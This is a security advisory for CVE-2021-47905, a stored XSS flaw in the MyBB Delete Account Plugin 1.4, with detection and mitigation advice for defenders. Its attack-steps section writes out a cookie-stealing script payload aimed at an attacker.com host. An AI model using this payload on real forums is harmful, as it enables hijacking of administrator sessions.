CVE-2021-47905: MyBB Delete Account Plugin XSS Vulnerability

CVE-2021-47905 Overview

CVE-2021-47905 is a Cross-Site Scripting (XSS) vulnerability affecting the MyBB Delete Account Plugin version 1.4. The vulnerability exists in the account deletion reason input field, where insufficient input sanitization allows attackers to inject malicious JavaScript code. When an administrator views the delete account reasons through the admin interface, the injected scripts execute within the administrator's browser context, potentially leading to session hijacking, administrative action manipulation, or further compromise of the forum platform.

Critical Impact

Attackers with basic user accounts can inject malicious scripts that execute with administrator privileges when viewed in the admin panel, potentially compromising the entire MyBB forum installation.

Affected Products

• MyBB Delete Account Plugin version 1.4
• MyBB forum installations using the vulnerable plugin version

Discovery Timeline

• 2026-01-23 - CVE CVE-2021-47905 published to NVD
• 2026-01-26 - Last updated in NVD database

Technical Details for CVE-2021-47905

Vulnerability Analysis

This stored Cross-Site Scripting (XSS) vulnerability (CWE-79) stems from the plugin's failure to properly sanitize user-supplied input in the account deletion reason field before storing it in the database and subsequently rendering it in the administrative interface. The attack exploits the trust relationship between the admin panel and user-generated content.

When a user initiates an account deletion request, they can provide a "reason" for the deletion. This reason field accepts arbitrary input without adequate HTML entity encoding or script filtering. The malicious payload is stored persistently in the database and later retrieved and displayed in the admin interface without output encoding, causing the browser to interpret and execute the injected script code.

The vulnerability requires user interaction—specifically, an administrator must view the deletion requests containing the malicious payload. However, since reviewing account deletion requests is a routine administrative task, exploitation is highly likely in active forum environments.

Root Cause

The root cause of this vulnerability is improper input validation and output encoding within the MyBB Delete Account Plugin. Specifically, the plugin fails to:

1. Sanitize user input when accepting the deletion reason from the form submission
2. Encode output properly when rendering the deletion reason in the admin control panel
3. Implement Content Security Policy headers that could mitigate script execution

This represents a classic stored XSS pattern where user input flows directly from storage to browser rendering without transformation through a security-aware encoding layer.

Attack Vector

The attack follows a stored XSS pattern executed over the network. An authenticated attacker with a standard user account can exploit this vulnerability through the following steps:

1. The attacker creates or uses an existing account on the target MyBB forum
2. The attacker navigates to the account deletion feature provided by the vulnerable plugin
3. In the "deletion reason" field, the attacker injects a malicious JavaScript payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script>
4. The malicious input is stored in the forum's database without sanitization
5. When an administrator accesses the admin panel to review account deletion requests, the stored payload executes in their browser
6. The attacker's script can then exfiltrate session cookies, perform administrative actions, or inject additional malicious content

For detailed technical information and proof-of-concept examples, refer to the Exploit-DB entry #49500 and the GitHub PoC Repository.

Detection Methods for CVE-2021-47905

Indicators of Compromise

• Unusual JavaScript patterns or HTML tags in database records for account deletion reasons
• Administrative session tokens appearing in unexpected HTTP requests to external domains
• Anomalous admin panel activity following review of account deletion requests
• Web application firewall logs showing XSS payloads in form submissions to the delete account functionality

Detection Strategies

• Implement web application firewall (WAF) rules to detect and block common XSS patterns in form submissions
• Deploy database monitoring to alert on suspicious content patterns in the deletion_reasons table or equivalent storage
• Enable Content Security Policy (CSP) reporting to detect attempted script injections
• Audit admin panel access logs for unusual activity patterns following interaction with user-submitted content

Monitoring Recommendations

• Configure browser-based XSS auditing and CSP violation reporting for the admin interface
• Monitor HTTP traffic for cookie exfiltration attempts to external domains
• Implement integrity monitoring on admin session behavior to detect hijacking attempts
• Review plugin update notifications and security advisories from the Vulncheck Advisory

How to Mitigate CVE-2021-47905

Immediate Actions Required

• Disable or remove the MyBB Delete Account Plugin version 1.4 until a patched version is available
• Review the database for any existing malicious payloads in account deletion reason fields
• Invalidate all active administrator sessions as a precautionary measure
• Implement Content Security Policy headers on the admin interface to restrict script execution sources
• Consider deploying a WAF rule to filter XSS patterns in requests to the affected plugin endpoints

Patch Information

No official vendor patch has been identified in the available CVE data. Forum administrators should check the plugin's official repository or MyBB community resources for security updates. If no update is available, consider replacing the plugin with an alternative that properly sanitizes user input, or implement custom input validation on the affected form fields.

For additional technical details and community discussion, review the GitHub PoC Repository and Vulncheck Advisory.

Workarounds

• Manually sanitize existing database entries by removing or encoding HTML/JavaScript content in deletion reason fields
• Implement server-side input filtering using PHP's htmlspecialchars() or equivalent functions on the affected input
• Deploy a reverse proxy or WAF with XSS filtering capabilities to inspect and sanitize incoming requests
• Restrict admin panel access to trusted IP addresses to limit the attack surface

# Example: Add CSP header in .htaccess for MyBB admin directory
<IfModule mod_headers.c>
    Header set Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'"
</IfModule>